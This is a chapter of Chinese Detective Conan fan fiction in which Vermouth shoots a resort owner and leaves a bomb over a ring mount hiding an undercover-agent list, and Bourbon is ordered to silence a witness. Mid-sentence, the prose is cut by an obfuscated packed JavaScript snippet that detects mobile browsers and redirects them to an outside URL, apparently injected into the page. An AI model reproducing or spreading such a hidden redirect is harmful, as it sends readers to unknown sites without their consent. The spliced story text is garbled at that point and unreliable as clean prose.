贝尔摩德按了按眉心,一时间居然也不知道那个今上小姐是在装傻还是真的傻,以为自己能算计得了组织。 跟工藤几人猜测的一样,组织这次交易想要的东西并不是红宝石依蕾托,事实上,那枚宝石本身就是不久前才安到戒托上去的,到今上沙耶手中后又被换了个戒托——而组织要的就是原本的那个戒托。 其实那是从朗姆安插在FBI中的某个眼线手里流出来的东西,那个戒托拥有着精密的构造,可以变形打开,打开后就会看到里面装着一枚芯片。 而那枚芯片里,储存着一份朗姆近年来安插在许多情报组织里的新一批卧底名单。 贝尔摩德并不清楚今上沙耶有没有发现那份名单,但这不重要。 她伸了个懒腰站起身,原本面前的桌上还放着一部型号老旧的手机。 一部经常被用来当作炸弹□□的手机。 这当然不重要,因为无论今上沙耶知道了多少,她都会为自己的大胆跟好奇心付出代价。 21. 二十一只萩原 众人没有在待客室里待多久,因为据说去外面交谈了的今上沙耶两人久久未归,那边的直川记者看上去也坐不住了,再加上预告函上的时间实在还早,所以他们最后还是分头行动了。 直川记者主动表示自己要去找找看今上小姐做采访,三杉里看上去却不太想动弹的样子,刚好那边园子两人想到她们就这么离开也不太礼貌,打算留下来,三杉里于是就找到了借口。 “这位毛利小姐也是沉睡的小五郎的女儿吧?要是不介意的话,可以让我做个专访吗?”他理直气壮地把懒得动换了个说法,“正好,也不知道基德什么时候会出现,我们可以给彼此做个证明——没有被基德替换的证明。” 话也不是这么说的吧。 柯南很不爽地站在怪盗本人腿后,探头看着那个陌生记者:“搞什么啊……” 可恶,还是个帅哥,更不爽了! “那我就跟柯南他们一起去找基德吧。”世良真纯摸了摸头发,思考着说,“正好,说不定真的能抓住他呢。” 她自然也发现了预告函的不对劲之处,毕竟实在太明显了,任何一个合格的侦探都不会放过这么大的疑点,再加上她本来也就怀疑基德在四季路三人之中,从时间上来看,真正的基德没有发预告函的机会才对。 那边的黑羽快斗忍不住想起自己之前认错这人性别的事情,情不自禁抖了一下。 柯南也头皮发麻了:他们这边是声称去找怪盗基德没错……但实际上其实是准备去调查今上所谓的交易的啊。 柯南和快斗也都觉得,留下预告函的说不定是今上沙耶本人,她很可能是在自导自演,但这样就显得久子说的交易跟今上沙耶看重的戒托更可疑了,他们都想趁着分开行动的机会,去仔细调查一下。 更别说贝尔摩德也来了这地方,柯南毫不费力地就把贝尔摩德跟交易联系了起来——否则她难道是跟安室先生来度假的吗?怎么想也不可能吧! “那、那个,四季哥哥……”小侦探试图向四季路寻求帮助。 半长发青年歪了下脑袋,似乎在接收他的求救信号,很快就露出了恍然大悟的表情。 柯南的眼睛亮了起来。 然后四季路就在柯南期待的注视中微微一笑,再次揽住了安室透的肩膀——这次是真的安室透了。 “那么我跟安室先生就跟你们分开去找基德吧。”工藤‘善解人意’地说,“度假村这么大,一起行动的话恐怕直到预告时间到了也没办法找完呢。” 这也是个道理……但他想让你理解的不是这个啊!柯南略带控诉地看向他,感觉自己被糟糕的大人耍了。 工藤假装看不出来他在控诉什么,揽着也没反抗的安室透潇洒地摆摆手,转身飞速溜走。 开玩笑,安室透肯定是要去配合贝尔摩德的行动的,要是他留下来的话,再想找借口跟上去就难了。 而刚收到贝尔摩德的短信,得知交易时间提前了的安室透的确急着离开,所以就借了这个借口,不过当他们两人远离了其他人的视线以后,安室透就看了眼手机,表露出想单独离开的意思。 “抱歉,四季先生,我还有事……”他露出歉意的表情,“接下来可能没办法陪你一起去找怪盗基德了。” “嗯嗯。”四季路看上去善解人意地点点头,然而搭在安室透肩膀上的手臂完全没有松开的意思,还笑眯眯地追问了一句,“小安室是要去找跟你一起来的那位明星小姐吗?” 在经历过‘小透’这样的称呼以后,‘小安室’已经无法让安室透变脸了,他面不改色,并在停顿片刻后把问题推了回去。 说实在的,他完全可以利用这次机会再更深地试探一下四季路吧?只要把对方也带到交易地点附近,届时关于对方的田纳西这个代号究竟是确有其人,还是故弄玄虚,都会有答案。 安室透之前没有直接向贝尔摩德询问也是因为担心被组织盯上,只要人为制造一个合理的询问借口,就不用顾虑太多了。 ……只是安室透最终还是没有这么做。 “不,是一点别的急事。”卧底先生挠了挠脸,神情苦恼,“事实上,我来度假村是接到了一起委托,不过委托人要求保密,不方便被太多人知道……” 说到这个份上,就算四季路再主动,也没有理由继续跟着他了。 他暗自惋惜:虽然这是一个很好的试探机会,但万一贝尔摩德那边出现了什么偏差,他的身份暴露,那才是得不偿失……谁让组织近期的态度明显是初步怀疑上他了。 安室透尽可能忽视心中声音微弱的另一个理由——基德证明了四季路不是易容的。 那他还可能是谁,真的只是和萩原长得像吗?要知道,巧合多起来以后就不叫巧合了。 对面的人遗憾地笑笑:“哎,这样吗?那就只能分开行动了,我本来还想跟小安室一起多逛逛来着的。” 分开行动……就怪了! 工藤面带微笑,内心却腹诽了起来。 他当柯南的时候都没真的乖乖听话过,请要是真信了这句话的安室透,去跟萩原和松田两人学习一下‘如何识破假装听话的工藤新一’这门课程吧。 — 久子偷偷地躲在了回廊的拐角处,紧张地看着前面假山后的两个人。 这里是今上沙耶自己在度假村内的一处日式住宅,有着与之匹配的风雅庭苑,可现在在这里进行到一半了的对话却一点也不风雅。 “即便我对你们的组织了解甚少,我也知道你们不是什么简单的集团。”说话的女性一头蓬松的橙色卷发在脑后扎起高马尾,穿着修身的吊带长裙,这幅打扮在冰天雪地的环境里看着就让人发抖,可她却依旧面色红润,此时还有些不耐,“东西我当然是会给的,都说好了的交易我怎么可能不遵守?又不是要钱不要命!” “是吗?”她对面的女人有着一把迷人的好嗓音,面容却平平无奇到丢进人群就找不见了,发色也是最普通的黑棕,“今上小姐能经营这么大的一家度假村,看起来的确不是那种愚蠢的人呢,但你我都知道……看人可不能光看表面。” “你是什么意思。”今上沙耶脸色冷淡了下来,原本伪装出的不耐也褪去了,“我说过了,这枚戒指从昨天晚上放进展览柜开始就没有人动过了——所以我也不知道你为什么会觉得我拿假货糊弄你们,你大可以找鉴定师看看这是不是依蕾托。” 她双手抱胸,语气淡淡:“就算真的被替换了,难道嫌疑最大的不是怪盗基德吗?” 事情的经过很显然了——在进行交易时,贝尔摩德发现了戒托不是他们想要的那个,而要么是线人传的情报错了,要么是被这位大小姐替换了。 基德能发现戒托被替换过了……贝尔摩德难道看不出来? 她似笑非笑地看着橙发大小姐:“哦?你还是坚持这个说法啊。” 今上沙耶眼前一晃,就感觉冰凉的物体贴在了自己的胸口上。 黑棕发色的组织成员凑得极近,几乎是贴在大小姐的耳边低语:“那么,这就是你的遗言了吗?亲爱的。” 今上沙耶瞳孔飞速变化着,却赶不及贝尔摩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11790911|125563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德扣下扳机的速度快,只是不知为何对方在最后一刻挪开了枪口,只往下连开两枪洞穿了她的左小腿并擦过腰腹。 剧烈的疼痛令她眼前发白,瞬间软倒在了地上。 “交易的物品我会自己去找的。”那个女人站在她身旁,今上沙耶只看得到那双红色的高跟鞋,“至于今上小姐,作为欺骗了组织的代价,你大概需要跟你的度假村一起沉眠于你最爱的白雪之下了。” 对方在她的身侧放下了一个黑色物体,今上沙耶的意识已经有些模糊,可她还是认出了那是——一枚炸.弹。 她的嘴唇不甘地动了动,疼到什么声音都没发出来。 “说再见吧。”那人轻笑着说完,毫无留恋地转身离开。 躲在回廊后的久子一手捂住了自己的嘴,一手紧紧掐着自己的腿,用疼痛防止自己尖叫出声来:那个陌生的女人在离开前,似乎往她的方向看了一眼! 直到那个人离开了,久子的手才改为按着胸口,清楚感受到心脏剧烈的跳动。 她一开始就在这里了,要说原因,其实还得说到半个小时前,还在待客室附近跟学姐谈话的时候。 久子当时坦白了自己听见学姐说的交易的事情,她跟今上沙耶私下的关系其实很不错,所以后者也只是惊讶了一下,没什么特殊反应。 虽然学姐也没说什么详细的事情,只告诉她等下可以来这个地方躲起来等着,久子感到困惑时,今上沙耶给出的解释是—— “因为我相信的人只有久子。”大小姐认真地说,“但如果发生了意外,久子就跑吧,你笨手笨脚的,万一把自己赔进来,我就亏大了。” 现在久子知道学姐为什么要说那句话了,原来她一开始就知道自己这次会是九死一生的命运。 同时,久子也想到了学姐跟那个女人的交易内容——被替换的那枚戒托。 除了沙耶学姐以外,就只有她知道戒托在哪里…绝对不能让那个人拿到! 而且……而且学姐说不定还没有死呢? 受限于角度,久子没有看到贝尔摩德开枪的部位,只听见她连开了两枪。 这个念头驱使着她生出了无尽的勇气,没有第一时间转头跑走,而是急切地迈出步伐,想跑到假山后。 一只手忽然从背后伸过来,抓住了她的肩膀! 在久子惊恐地下意识要尖叫时,对方的另一只手也伸过来,捂住了她的嘴。 “嘘,冒犯了。”有些陌生的声音响起,久子面色惨白,却还是努力辨认出这是那个今天刚认识的安室侦探的声音,“久子小姐怎么会在这里?” 久子眨了下眼睛,不知不觉蓄满眼眶的泪水跟着滚落了下来,灼热地打在安室透的手背上,她仿佛看到了生的希望。 她恳求地看着他,指向了那边的假山,在后者稍微松了点力道后声音微弱地说:“学姐……学姐还在那里…求求你救救她,安室先生……!” 金发深肤的青年站在她身后,目光没有投向那边的假山,脸上的神情莫辨,上半身被回廊的阴影笼在了里面。 “所以,久子小姐是什么时候过来的?”他没有直接回应久子的恳求,而是继续问道。 久子好像终于感觉到了不对劲,她条件反射地哆嗦了一下,这时才意识到安室透的眼睛在阴影中暗沉得像是深紫色。 “我…我……” 她没有看到,也不会看到的是,金发青年口袋里的手机屏幕亮了一下,能看见画面停留在一段讯息上。 【把剩下的小老鼠也清理掉吧,波本。】